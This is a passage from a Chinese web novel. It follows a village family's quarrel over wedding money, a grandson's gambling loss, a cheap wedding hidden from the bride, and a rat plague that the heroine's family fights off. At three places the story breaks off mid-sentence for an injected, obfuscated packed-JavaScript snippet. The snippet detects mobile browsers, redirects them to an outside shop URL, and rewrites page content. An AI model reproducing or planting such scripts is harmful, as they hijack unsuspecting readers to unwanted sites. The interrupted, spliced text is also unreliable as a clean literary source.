“爱吃不吃!”丢下这句话,吴氏扭着腰便走了。 孙氏想骂两句,却提不起力气,只能趴在床头,端着碗把那碗只有一丝余温的“粥”给喝下。 喝完之后,她想起赵谦还没吃饭,有心想爬起来看看,一阵头晕目眩,她又倒在床上。 听到动静的赵老大赶忙来看,孙氏见到他,问:“谦儿呢?谦儿怎么样了?” “他没事。”赵老大说:“大夫看过了,还让吃之前的药。” 孙氏抚着发痛的额头,“大夫什么时候来的?我怎么没见到?” “这……” 大夫被钱婆子喊来,只给钱婆子和赵谦看了病。 他想让大夫给自家媳妇看一看,却被钱婆子以“没钱付诊金”为由,让大夫走了。 走之前,大夫微微摇头,好心地说,让他把赵谦喝过的药再煮一遍,给孙氏喝下。 赵老大默了一下,选择瞒着孙氏,“你睡着的时候来的,已经走了。” 有大夫来看过便好,孙氏昏昏沉沉躺下。 期间她被喊醒过几次,赵老大给她灌下几碗药,不知是因为风寒味觉消退,还是因为风寒太重,孙氏总觉得这次喝的药没有以前得风寒时喝的药苦。 钱婆子喝赵谦的病十天才好,孙氏则是拖拉了大半个月,才勉强好全。 看到她安然无恙,赵老大心里高兴,告诉她一个好消息:文远的婚期定下来了。 孙氏一愣。 之前大儿子拿了二十两银子去提亲,那镇上的曹家应允,到请期的时候,却再三推诿,没下雪时,赵文远日日去镇上,回来说曹家只是想多留曹姑娘一段时日。 没想到这个节骨眼,曹家竟然把婚期定下来了? “定在什么时候了?”孙氏问。 “就在春分后一日。”赵老大庆幸:“还好你病好了……不然,我真担心。” “春分?”孙氏从床上爬起来,捂着胸口咳了几声,问:“那不是没过几日便要成亲了?” “是啊!”赵老大感叹:“等成亲,文远便安定下来了。” 不成婚,他整日往镇上跑,下雪之后,他又天天躲在屋里,说是给曹姑娘写信写诗。 “成亲是好……只是家里,现在没有多少银子了。”孙氏是知道钱婆子的,之前卖了粮食,她能给文远拿出二十两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229752|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他下聘,聘礼是不用操心了,办婚宴也是要花银子的,起码一桌要五百文,如果要宴请村里人,起码得摆上六桌。 还要给新娘子扯点红布做盖头,也是一笔花费。 四两银子,现在可不是小数目。 离春分还有半个月的光景,孙氏想,磨一磨钱婆子,钱婆子应该不会干看着文远临门差这一脚。 孙氏不知道的是,她这次大错特错。 钱婆子都能做出趁她生病,请了大夫上门都不给她看一眼的事,怎么会简简单单就拿银子出来? 赵文远央求好几日,钱婆子始终不松口,只说给一两银子,别的没有。 一两银子够什么!赵文远懊恼不已,去镇上见曹姑娘时,羞得都抬不起头来。 曹柔安本来还细声细语地安抚赵文远,几日之后,赵文远说家里仍是不松口,曹柔安也有些恼了,催促道:“既然你家没有诚意,我看我们的婚事便作罢!” 听到这话,赵文远大吃一惊,拉住她的手,急道:“你再等我几日!我一定把你风风光光地娶回家!” 曹柔安给他下了最后的通牒:要是春分前五天还没法办婚宴,那她便不嫁了。 好说歹说,赵文远才稳好曹姑娘的心,一回家,他急得团团转。 家里只肯出一两银子,赵文远烦躁地揉着脑袋,一整头束好的发髻都被他抓散。 眼看着日子越来越近,曹柔安那边见他仍是不给一个准信,不禁也急起来。 她必须要在立春之前嫁过去,否则……就来不及了! 催促之中,赵文远从钱婆子那里领来了一两银子,踹在怀里,在镇上漫无目的地逛着。 他想:寒流已经过去,眼看年都要过完,天气肯定会暖和起来,万一碰见粮价下降,他趁机买一些,也好带回去办席面。 哪怕是办个三桌四桌…… 可粮价并没有下降,赵文远耷拉着头从粮铺中出来,整个人看上去如风中蒲柳般,稍微来点风一吹就摇摇欲坠。 正在寒风里飘着,远处突然传来两人对话的声音。 他们声音之大,直接钻进赵文远的耳朵里,让他想不听到都难。 “你说的可是真的?!刘大壮真的赢了五十两银子?!” “我能骗你不成!他下注的时候,我就站在他旁边,第一次他赢,我们都当他是运气好,第二次、第三次,他又赢,这下东家都坐不住了,亲自来主持。” “那刘大壮丝毫不惧,我悄悄跟着下了几注,你猜怎么着?” “赢啦?” “那可不!我一口气赢了十两!” 最后说话的那人掂掂手里的钱袋子,赵文远定定地站在原地,看到那袋子里勾勒出来的银锭子的形状。 “银子……赢……”赵文远晕乎乎地跟在那两人后面,掀开赌坊又重又厚的棉帘子。 鼎沸的人声从里面传来,赵文远投入进去,如同一滴水落入沸锅一般,眨眼便融入进去。 半晌后。 赵文远抱着五百文钱,跌跌撞撞地跑出来。 “切!没钱还学人家赌什么赌!” “算了算了,他输了好几把,咱们再开!再开一局!” “别让我再见到他,抠抠搜搜的每次只出十文钱,谁家下注是这样下的……” “再见到他我就见一次打一次!” …… 直到走出很远,赵文远才敢看自己怀里抱着的钱袋子。 银子,没了。只剩下五百文。 一两银子,本来还可以勉强置办三桌席面,如今只剩五百文,他拿什么去娶曹姑娘! 赵文远一回家便一头扎进房间里去,到晚上,孙氏过来喊他去吃饭,他仍旧不起来。 孙氏怕孩子饿到,亲自把饭端到他房间,搁在他平日里写写画画的桌上。 “怎么了文远?是不是吹到风,哪里不舒服了?”孙氏伸手,要去摸赵文远的额头。 “不是!”赵文远一把甩开孙氏,同时他满是泪痕的脸也露出来,被孙氏看见,吓了一跳。 儿子什么时候这样哭过?孙氏的心都碎了,拉着儿子的袖子,“文远——文远?你这是怎么了?有哪里不舒服的,你告诉娘?” 第28章 骗婚 “告诉你有什么用,我娶不到曹姑娘了!娶不到了!”赵文远撒气一般地将这几天的事一股脑倒出来。 末了,他把装有五百文的钱袋子从怀里掏出来,一把甩到地上,“不娶了!我就这样光棍一辈子得了!反正奶也不向着我,她连娶亲的银子都不肯给我!哼,平日里还说最疼我!我是大孙……” 埋怨一通,赵文远直接气得整个人躺在床上,喊他吃饭也不吃,喊他起来也不起,一副一蹶不振的样子。 孙氏担忧极了,得知他去赌坊赌钱,气得捶胸顿足,只恨自己没有教导好孩子。 孙氏还未出嫁的时候,隔壁村有户还算富裕的人家有个独子,很是受宠,他也不用下地干活,也无心科举,整日吃喝睡玩,不知怎么回事,突然他学会了**。 从那之后,他家的产业慢慢被他败光,赌赢了就从镇上买两壶酒回家,喝醉之后对着劝导他的父母爷奶拳打脚踢,赌输之后,回家伸手要钱,不给钱便要去寻死。 那户人家怎可能让唯一的孩子去寻死,只能打碎牙齿往肚里吞,一点一点地给钱。没成想,这举措让他变本加厉,越赌越大,最终,他把祖业给败坏殆尽。 田地房子的地契被抵押出去仍不够,他把他的父母、爷奶,全给抵押出去,最终满盘皆输。 也是这样寒冷的一个冬日,他一把火把祖宅给烧了,看着住进去的人在大火里尖叫奔逃,他放声大笑,最终竟慢慢走入别人避之不及的火场,活活被烧死。 **赌到家破人亡,这件事给附近几个村落都留下巨大的心理阴影,从小便教导孩子不能沾染这些。孙氏也是,从小跟几个孩子讲这故事,没想到——没想到她一向最看好的文远,竟然还是沾上了**! 都是婆婆,她不肯给文远出银子,之前明明说得好好的,文远娶亲,她要拿十两银子出来,办上十桌席面,再请人吹吹打打地把孙媳妇给迎进门。 可是现在什么都没了!什么都没了……只剩下五百文,五百文能够什么? 赵文远不吭声,他躲在被子里,心里后悔极了。 他今日不知怎么鬼迷心窍走进的赌坊,被人架着去下注,还好他从小听孙氏讲这些故事,知道**害人,一次只肯押十文。 刚开始还好,他有输有赢,赢面居多,可到后面,有个叫宋大的人,一连赢了五把,众人都跟着他下注,鬼使神差的,赵文远把半副身家押金进去。 最后输掉银子,他有些不甘心,明明只差一点!只差一点他就能赢了!正在他想把剩下的银子继续拿去下注时,听到有人在骂娘。 赵文远的一丝理智回笼,看着手上只剩下五百文钱,他惊出一身冷汗,赶紧抱着回家了。 …… 只是这五百文,怎么看都不够娶亲的!娘说会想办法,她能想什么办法?他不能去娶曹姑娘了!赵文远惋惜痛哭,沉沉睡去。 孙氏不敢说自己的儿子去**输钱,只是在钱婆子睡下之前,又去她房里求了一遍。 不出所料,钱婆子仍是拒绝。 孙氏暗恨,现在卡着她儿子结婚的节骨眼上不给钱,等以后要老大养老、要儿孙绕膝的时候,可别怪她翻脸不认人! 孙氏想了两天,终于想出一个法子。 他让文远告诉曹柔安这边一切都准备好了,让赵文启在娶亲那天照常去接亲。 赵文远不知她使了什么法子,只知道按照娘说的去说,按照娘要的去做,他就能把魂牵梦萦已久的曹姑娘,给娶回来。 听到赵文远说一切都准备好了,曹柔安才肯给他好脸色看,拿乔地说接亲前几日男女双方不能见面,让他好好在家准备,曹家就等着他上门来接亲了。 赵文远喜滋滋地回家,想着去问一下娘准备办几桌席,他这里还想邀请几位同窗,如果够坐的话,他想多请几位。 孙氏的话宛若一盆冷水泼在他头上。 “什、什么?不办席?”赵文启恍惚了一下,“娘说的是,我成亲不办席?” “你奶不肯给银子,娘只能从别的地方想办法……”孙氏托底:“接亲请人吹唢呐要一百文,留三百文,做一桌席请几家村里人,买点糖块瓜子,让来看新娘子的人甜甜嘴,也就得了。” “剩下一百文,给你拿着,你去请几个村里的小伙,跟你一起去接亲。”孙氏数出一百文,叮嘱他:“你要告诉他们,曹家要求高,如今寒流刚过去,家家户户手里头紧,咱家只出得起一桌席面,让他们接亲的时候别说漏嘴。” 赵文启越听,心越凉。 娘这是让他去骗曹姑娘!他怎么可以骗曹姑娘!?这样想着,赵文启起身便要往门外冲,孙氏一把拦住他,低声问:“你难道不想娶曹姑娘了吗!?” “咱们家给她二十两银子的聘礼已经够给她做脸了,寻常人家镇上的姑娘,谁家像她这般漫天要价的?” “只是这次实在是没法子,要是家里有钱,能不给她办得风风光光的吗!风光都是烧钱给外人看的,夫妻小两口,你只要把她娶回来,握住那二十两银子,往后的日子还不是关上门在自家过。” 说到最后,孙氏有些力竭。 “你若不同意,你就去找她说吧,我也累了,不帮你操持了。” “娘……”赵文启拉住孙氏的胳膊,“我去,我去娶她……就这样吧。” 到了迎亲那天,赵文启一大早便起来,把洗净的长衫穿上。 再把头束好,赵文远端端正正地去堂屋给长辈行礼,然后跟着一群同村的玩伴,热热闹闹地坐着村里的牛车去镇上。 到镇上,曹家竟还在门口挂了红灯笼,赵文启前去迎亲,被堵门喊着让新郎子做几首催妆诗出来。 赵文远连童生试都没过,连诗词韵律都没学完,哪会作诗?!好在他之前看过几首,背了出来,这才顺利进门。 盖着红盖头的曹柔安被喜婆牵过来,两人拜谢曹家长辈之后,赵文远扶着人,将人贴心地往牛车上带。 从盖头下面,曹柔安发现自己上的竟然是牛车!她停住脚,惊诧地问道:“怎么是牛车!” “你……你也没说你要坐别的。”赵文远窘迫,家里人入狱之前,他跟曹柔安耳鬓厮磨的时候他还说过,以后一定八抬大轿来娶她。 这话他只当随口说说,难道曹柔安真的当真了? 曹柔安绷着嘴,一言不发。 喜婆在一旁打圆场:“曹姑娘快些上车吧,当心误了吉时。” 曹柔安不情愿地上了牛车,一路上都没再说话,走在牛车旁边的赵文远心里忐忑,时不时看向她。 一路平安到家,放炮、跨火盆、拜堂。 赵文远花八十文钱请来的几个村里的伙伴一路嘻嘻哈哈,老赵家便热闹起来,直到把新娘子送入洞房之后,他们领了喜糖,才勾肩搭背结伴走了。 老赵家顿时安静几分,只剩前院堂屋里,一桌赵家在村里交情不浅的邻居留着。 灶房里,孙氏满头大汗地在做席面,没办法,五百文办一桌席已是勉强,做饭只能她自己亲自来做。 不多时,孙氏把做好的菜端出去,放在堂屋的桌上。 邻居们一看便沉默不已,正常人家做席面,寒酸一些也只是肉菜少一些,哪能想到赵家的菜色,如此寒酸? 除了一条四指宽的红烧鱼和一只鸡能看得过去,剩下便是白菜炒豆腐,豆腐炒白菜。 两道大菜以外,孙氏炒了一盘鸡蛋,一盘豆腐白菜炖猪肉,肉只有几片,她上菜前特意翻出来,放在上面好看。 热菜还差两道,她拿萝卜和肉一起红烧,乍一看是肉块,仔细看全是萝卜。最后一道热菜,她做的萝卜丸子汤。 凉菜有凉拌萝卜丝、小葱拌豆腐、还有一道凉拌藕。 都是乡邻,这年景也不好说谁家比谁家好过多少,来吃席的人倒也没当着钱婆子的面说什么,只是在回去之后,蛐蛐老赵家。 太抠门了! 曹柔安在屋里坐着,赵家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229753|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个孙辈在屋里作陪,一直不见有人来,曹柔安一整天都不曾进食,又饿又渴,她拧着手里的帕子,问一旁的小姑子:“慧兰,家里可有什么糕点?我垫垫肚子。” 赵慧兰在她看不到的地方翻了个白眼,“没有!” 家里不但没有糕点,连晚饭都没人送,赵慧兰有一段时日没吃肉,一想到今天又有鸡又有鱼,但她却吃不上一口,心里更气。 听出小姑子语气不善,曹柔安按捺住,不再跟她说话。 左右留在这里也是无事,赵慧兰起身,交代六妹留在这里陪新娘子,她拉开门悄悄去灶房,看看孙氏有没有给她留吃的。 六丫是三房的,今年才六岁,被赵老三两口子整日护着,如今还是懵懂的样子,她坐在火盆旁边,眼也不眨地盯着新娘子看,只觉得新娘子美极了,跟爹爹说的仙女也差不多。 曹柔安无聊,跟小丫头搭话,六丫只能把自己知道的说出去。 听着跟赵文启讲的差不离,曹柔安忍着腹中饥饿,坐着等着,一直等到天黑,才等来自己的丈夫。 不像预想中那般会醉醺醺的来,赵文启身上只有皂角香味,外面已经没有什么人声,也没有来闹洞房的,曹柔安低下头,任由赵文启伸手把自己的盖头揭开。 她算着日期,今日成婚,总算是赶上了…… 宁宁家。 老赵家的大金孙结婚,请了一圈邻里邻居,没请他们二房。 这消息传到宁宁家的时候,宁妈冷哼:“蹲了次大牢才长记性,知道断亲该怎么做了!” 老赵家不请,一是孙氏没钱办第二桌席,二是他们之前去要方子不成,被老二一家害得进衙门吃尽苦头,如今还记恨着。 压根和断亲长记性没关系。 这点小插曲影响不到宁宁家,经过一个月的寒冬,赵宁宁家的柴火消耗的几乎有一半,眼看天气还是没有回暖的迹象,宁爸带着宁宁,去县城用普通瓷碗换了银子,又买了一批柴火放着。 春分过后,天气依旧很冷,一直到清明之前,天上时不时还在飘雪。 赵宁宁一个南方人都已经习惯在向北方一样的大冬天生活了。 村里人愁得不行,他们以种地为生,如今天寒地冻,不知何时才能解冻,本来就少了一季的收成,如今春天迟迟不来,地不化冻,没法翻地播种。 这天,何氏来送给宁宁一家送萝卜干。 周家种的萝卜多,家里只有周剑和何氏两人,根本吃不完,她给切片晒成萝卜干,能放能存的。 天寒这么久,地里连根菜苗都长不起来,年前收的新鲜白菜萝卜都吃得差不多了,她便想着来送一些。 宁宁家哪里缺这个?宁妈看到,笑着收下,“好久都没吃萝卜干了,还真有点想,娘你别走,我这儿也有东西给你。” 松开何氏的手,宁妈转身回到屋里,把宁宁昨天刚在储物柜里翻到的梅菜干拿出来。 何氏一看,抬脚便悄悄往门外走,每次她给宁妈送点什么东西,宁妈都要塞回来更多,大都是肉,有时候还是冬日里鲜少能吃到的菜,何氏今天见她去厨房又要拿什么东西出来,直接斗胆走了。 等宁妈带着菜干出来,哪想院子里根本没见何氏的影子,她竟然跑了? 宁妈哭笑不得,把梅菜干放篮子里,提着赶紧往外追,果然在拐角处看到正匆匆往家里走的何氏,宁妈仗着步子大,几步过去直接给人拦住,你来我往好一会,才让何氏收下菜干。 正准备往回走,隔了两丈距离的邻居,跟宁妈和何氏打招呼。 秋大娘:“呀,何嫂子,你手里这是菜干?” 何氏把篮子掀了一个角,无奈说:“是宁宁妈非要给我,这天寒地冻的,家里也不剩多少了,还给我塞。” “真好!”秋大娘叹了口气,“我家菜干晒得本来就不多,这几天还被老鼠咬了!该死的老鼠,我刚才就是去讨老鼠药的,何嫂子,你也注意着点,别让老鼠给拖走了。” 第29章 鼠灾 “你们家也闹老鼠?”秋嫂子旁边的妇人说:“我们家最近也是,粮缸上的盖子都被老鼠咬穿了,在里面又吃又拉的,给我气**。” 说到大缸,她抚着头,一副气急败坏的样子,宁妈好奇:“最近闹老鼠很严重?” 两位妇人点头,秋大娘说:“是啊!我家原先有个老鼠洞,叫我男人给堵着,这几年都没有再闹过,这几天也不知是哪里来的老鼠,净败坏东西!” 宁妈和何氏跟她们一起骂了老鼠,闲扯一会,何氏叮嘱好宁妈把吃的放好,宁妈往回走。 回到家,她打开厨房的门检查,厨房的橱柜完完整整的,还没老鼠来光顾过。 她不放心,把橱柜用来摆在明面上的吃的全收进空间,只留下几个空盆空碗。 堂屋里还有之前买的瓜子,宁妈过去,也给收起来。 宁爸拦住她,问道:“怎么好好地把瓜子给收起来了?” 冬天里闲着没事,他最爱吃点瓜子和兄妹俩闲唠嗑。 “我今天出去,外面说最近闹老鼠,放这里是你嗑瓜子还是老鼠嗑瓜子?”宁妈把瓜子拿回来,下一秒瓜子便从两人视线里消失。 “闹老鼠?” 想到之前去府城的时候,听人说南方闹鼠灾的消息,宁爸心里一惊,拉着媳妇的手问:“怎么回事?怎么会闹老鼠的?” 宁妈感到奇怪,但还是把刚才在外面听到的消息给说了说,宁爸一拍大腿,“不好,老鼠过来了!” 宁妈被他吓一跳,转身看屋门关得好好的,屋里并没有老鼠,轻打了他一下,“吓我一跳!干什么呢你,一惊一乍的。” “不是这会,是南方那边的鼠灾。”宁爸把自己知道的给宁妈说了,随即叹息道:“听的时候我还想,那地方离咱们这中间隔了好几个府城呢。” “对了,在府城的时候,我还买了点防虫防鼠的药,给宁宁拿着了。” “那还说什么,宁宁呢?让她把药拿出来,咱们得早做预防!”宁妈说干就干,风风火火起来去找赵宁宁。 听说外面闹老鼠,赵宁宁进空间迅速把十包药从鞋柜里掏出来,宁妈拿来一包仔细洒在屋里容易有老鼠路过的地方,屋门口着重撒上一些。 宁爸也不烤火了,穿戴好去镇上,不管什么老鼠药驱虫药,全买上一些。 回家之后,宁妈给每个角落里补上老鼠药,从买来的这些药里,拿出三份让赵启给周家送去。 何氏本想推辞,赵启说,他们家里弄完去山上找荆棘围院子去了,看宁宁家如此重视,何氏便没有再三推辞,拿着药粉仔细洒在屋里。 想了想,她让周剑拿着镰刀,两人一起去山上割荆棘。 用荆棘围院子的想法还是赵宁宁想的,现代小院子的院墙上一般会嵌一些碎玻璃进去,赵宁宁手里虽有玻璃,却不能拿出来放在古代,瓷器能拿出来,但是太打眼,且瓷器间隔大,高度低,也不太适合。 她只能退而求其次地去找替代品。 荆棘就是一个不错的选择,带刺,王李村这边的后山上就有,只是冬寒料峭,山上很多雪都没化,找起来有些困难。 还是何氏和周剑赶上来,宁宁家这才跟着找到。 日子苦,周剑和何氏常往山上跑,自然对后山熟悉,有他们带路,不一会,一行六个人在一处林地里停下。 周剑用镰刀试了几下,雪底下真的有东西。 大人们抡起手里的铲子去铲雪,赵宁宁跟在家人后面蹚雪过去,看见边上有荆棘,用手里的小斧头一砍,小心捏住边缘给扯出来,一整串带着刺的“刺藤”便被扯了出来。 如法炮制,几个大人在前面开路,后面三个小孩跟着扯藤子,这一块地方开完,大人们也转过来帮着砍藤子扯藤子。 不一会,空地上便堆满刺藤,何氏又带几人去另一块地方,那里也有一种带刺的植物,只不过长得比较高,不是藤状的,像小树丛。 赵宁宁过去捏捏上面的刺,够大够硬,带回家砍成小枝密密麻麻堆叠在一起,效果肯定好! 话不多说,几人开干,宁爸在前面砍,宁妈在后面拽,隔着棉手套刺都有些扎手,宁妈让赵宁宁小心避开,自己呼啦啦从雪堆里抽出一大棵半人高的荆棘丛。 赵宁宁看得目瞪口呆。 下山的时候一人四捆拖行回家,到家后,宁妈把这些带刺的东西丢在院角,赵启过去拆开,小心地给它们顺好。 如今天寒地冻,泥巴都难弄到,宁爸回屋拿铁铲出来,到河岸边上,把岸边上被水冲刷凹进去的黄土用力向下敲下去,一大块一大块的泥脱落,这样比挖土省力一些。 把这些冻土带到堂屋里火烤化,才能加水和泥。 趁这个功夫,几人去院子里把带回来的荆棘捆成一捆,刺与刺之间的间隔极小,立起来像是一堵刺墙一样。 黄土解冻之后,宁爸提一桶水倒进去和泥巴,和好之后,宁爸搬来梯子站在院墙边上把泥糊在院墙顶上,糊好一段之后,把捆好的荆棘放在上面。 只消过一会,墙上的土就变得硬实起来,倒不是它干得快,而是这天气太冷,它直接上冻了。 搞好自家院墙之后,宁妈去周家看了一眼,他们也如法炮制地把院墙给挡了起来,有密密麻麻的刺伸出来,不管怎么说,起码过路的老鼠不会选择这里。 心里放心许多,宁妈这才回家。 没两天,村里的老鼠越发躲起来,镇上的人想买驱鼠药,药店却告知已经没货了,连制作药粉的药材都没了。 村里人只能另想其他法子,有人看到宁宁家做的刺墙不错,纷纷上山,砍荆棘回去围着院墙,再在家里把老鼠都撵走,墙上的洞堵着。 这样,家里至少没有什么老鼠了。 不止石桥镇深受鼠害,整个丰宁县都被突如其来的老鼠烦扰得不行。 县衙甚至发出公告,五只老鼠给一文钱,往县城送老鼠免入城费,现在王李村的人闲着就去抓老鼠,凑齐一袋子拿去县衙便能换点铜板。 县衙的人组织人手清鼠,一天开出八十文的高工价,一大波汉子涌入县城,人手一把铁铲,满城地打老鼠。 百姓只能各家各自预防,尽量把吃的收起来,家门口挡上木板,人走过要跨着进门。 屋里屋外,能看见的地方绝不留洞口,全想法子给堵上。 即使这样,老鼠还是越来越多。 村里老鼠能成群地跑,想到现代也经常用生石灰驱虫,宁妈去镇上买了十斤生石灰回来,在院子里各处都撒上。 白天院门紧闭,放着老鼠趁人不注意窜进屋,晚上睡觉门窗锁好。 即使这样,村里老鼠越来越多,宁妈拿着石灰去周家,一路上看到好几波老鼠窜过,她赶忙快步走去周家,把生石灰的事交代了,匆匆回家关上门。 “吓死我了,刚才过去,路上好几波老鼠,一点都不怕人,直接从脚边窜过去了!”宁妈捂着心口。 “就说我去了。”赵宁宁给宁妈端来一杯热水让她顺顺,宁妈接过,喝了几口,这才感觉好一些。 宁妈:“你太小了,万一老鼠爬你身上怎么办,有胆大的老鼠会咬人的。” “啊?”赵宁宁疑惑:“老鼠咬人?” “对啊,不但咬人,它还**呢。”宁爸说:“我小时候听我姥说的,她们村子就有一家人,小孩还没满月放屋里睡觉,大人在外面干活,听见小孩哭进去一看,脚趾被老鼠啃了一个!” 就是因为这个故事给宁爸留下心理阴影,听说南方有鼠灾,他才让宁宁在府城就买了药,有备无患。 一家人更重视驱鼠的事,家里的食物前几天就被全部收进空间,连水都收进去,用的时候再拿出来。 剩的垃圾统统交给宁宁,宁宁装起来,放在电梯厅里等电梯厅收走。 因祸得福,赵宁宁还把阳台区域给解锁了,赵宁宁走进阳台,细细打量这个区域。 这个阳台是生活阳台,里面什么都没放,宁爸宁妈原先还想过养花,但他俩都不太善长种植,总是没养几天就死,后面这个阳台就摆了两把摇椅,空闲时几人会偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229754|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔过来坐着晒太阳。 往阳台外看去,外面一片雾蒙蒙的,下面也是,连楼体都看不到,仿佛她家这一层是独立存在于一个空间里似的。 看久了,赵宁宁有些瘆得慌,她回家把阳台门关上锁好,窗帘拉起来。 碰巧宁妈在空间外喊她的名字,赵宁宁走出空间,看到宁妈一脸焦急,问:“怎么了?” “外面好多老鼠……”宁妈想了想,嘱咐赵宁宁,“你在空间里呆好别出来,外面有我跟你爸。” “那怎么行,咱家院子三面墙都要人盯着,你俩盯两边,我跟我哥盯中间。” 赵宁宁从屋里拿了她顺手的小斧头,宁妈没拦住她,任她去院子。 刚进院子,便听到外面叽叽一片,刺耳的声音从四面八方传来。 在院子站定,宁宁看见宁爸正架着梯子往院外看,那脸色惨白的,不像是只见到老鼠。 “爸,你下来,我看看。”赵宁宁把斧子放在地上,宁爸从梯子上下来,摇摇晃晃地叮嘱女儿:“外面……好吓人……好多……” 赵宁宁三两步爬上梯子,趁着夕阳,可以清晰看到外面路上灰扑扑一片,是什么东西在翻涌着前行,看清那是鼠群,赵宁宁脸都绿了。 之前说闹鼠灾,她想着顶多也是家里老鼠多一些,没想到,这老鼠像是流水一样,直接涌进了丰宁县! 鼠群浪潮般前行,一部分分流停在墙边,赵宁宁眼尖,看到老鼠直接顺着隔壁院子的院墙爬了进去,下一秒,隔壁传来一声惨叫。 下了梯子,赵宁宁脸色还不是很好,宁爸在一边小声说:“外面好吓人。” “没事,咱家提前做了那么多准备,老鼠进不来的。”赵宁宁笃定。 宁爸也不是害怕老鼠进来,是纯恶心,任谁看到一群没有理智的玩意蹿来蹿去,可能还会咬你一口,都会想跑。 咽了口唾沫,宁爸给大家分工,他和宁妈各守一边,赵启和宁宁盯着中间的那堵墙。 院子里冷,宁妈把火盆挪出来,赵宁宁盯院门空余,负责给火盆添火。 天色越来越暗,外面吱吱的声音却不见减小,反而越来越大。 赵宁宁可以听到,那吱吱叫里面,还夹杂着不少惨叫声。 戌时,赵宁宁家院子里还没进老鼠。 这样等下去也不是法子,宁妈让宁爸和宁宁和宁爸先去睡觉,她和赵启守着,等下半夜若是老鼠还没走,他们还能替换一下。 没等下半夜,差不多是子时正,赵启匆匆去喊人,宁宁从房间冲出来,趁着火盆和月光,她看到,竟然有老鼠突破刺墙上密密麻麻的刺,直接跳进院子里。 还不止一只! 宁妈正在用铁铲拍,赵宁宁拿着斧头火速加入战场,赵启拦住妹妹,塞给她一个棍子,“拿着个,老鼠会突脸,你离远一点安全。” 点点头,赵宁宁握紧棍子。 她人小,视力好,一眼便能看到院子里角落有什么东西在反光,那处之前堆了柴火,前些日子宁妈把柴火都搬空了,那里会反光的东西,是老鼠的眼睛! 赵宁宁一棍子下去,躲在那里的老鼠吱吱喳喳四散开来,有些竟冲着赵宁宁的脚底过来。 赵宁宁忙把棍子拿短一点,冲着脚下扫去,立马便有两只老鼠被她挑飞,紧接着一棍子下去,两只老鼠丧命于棍下。 忍住恶心,赵宁宁继续用棍子去打其他老鼠,连宁爸什么时候到院子里都不知道。 四个人打了一会,院子里的老鼠越来越多,宁妈把铁铲收回空间,找到空间里提前烧好的热水,大喊一声:“你们几个让开!” 赵宁宁几个闪到一边,下一秒,一股冒着热烟的水凭空出现,泼向老鼠最多的地方。 热水烫得老鼠吱吱惨叫,声音刺耳,赵宁宁捂住一只耳朵,感到后背都起鸡皮疙瘩了。 老鼠太恶心了! 烫过这一波之后,宁妈对准墙角的老鼠,又倒下去一桶热水,墙角的吱吱惨叫停下后,宁宁家的院子算是安静下去。 院外,还有老鼠的声音。 第30章 被老鼠咬 几人不敢掉以轻心,紧绷着神经守着院外。 赵宁宁往火盆里添了几把柴火,火苗“腾”地一下窜高,院里顿时亮堂起来。 老鼠趁着夜色,铺天盖地地爬行,啃咬一切能见到的东西。 老赵家。 赵家不在主路上,鼠群跑过来时,他们第一时间把院门给关上,后面只有零星几只老鼠跳进院里。 没人知道外面路上的情况,只知道外面有好多老鼠,这会不能开门。 钱婆子安排好两个儿子值守,自己回房睡觉。 一开始钱婆子还安稳睡着觉,睡到半夜,她听见外面窸窸窣窣的声音大起来,等她起来一看,气不打一处来。 老三本来该在院子里守着的,不知道什么时候竟然跑回去睡觉了,现在院子里全是老鼠! 院子地面皆是密密麻麻灰扑扑的老鼠在涌动,见有人开门,靠前的几只立马从钱婆子脚下窜进屋里,钱婆子大叫一声“不好”,顾不得恶心,大声喊老大老二的名字。 一边喊,一边用脚拨开地上的老鼠,钱婆子把堂屋门给关上。 披上衣服匆匆起来的赵老大一看,院里全是老鼠,连个下脚的地儿都没有,他局促地站在原地,钱婆子看见,怒骂一声,“还站着干什么!没看见老鼠都跑进堂屋里了,咱们粮食都在堂屋啊!” 鼠潮来临时,钱婆子当机立断指挥两个儿子和儿媳把能吃的东西都挪进堂屋里,她好看着。 想到粮食,赵老大顾不得恶心,一边用扫把把老鼠往两边扫,一边往堂屋走。 这时,老三才姗姗来迟,看见院里的老鼠,他吓了一跳,直接退回房里。 “老三!你还不赶紧过来!要不是你,咱家怎么会进来这么多老鼠!”钱婆子气急,她站在堂屋门口,老鼠嗅到里面粮食的香味,顺着钱婆子的脚脖子,直往她身上爬。 钱婆子吓个半死,跳脚着把老鼠从身上摔下去,堂屋里,赵老头怒吼:“快来!老鼠在后面钻了个洞,快点堵住!” 钱婆子等来赵老大,两人一起钻进堂屋,进屋时又有十几只老鼠顺着门缝挤进来。 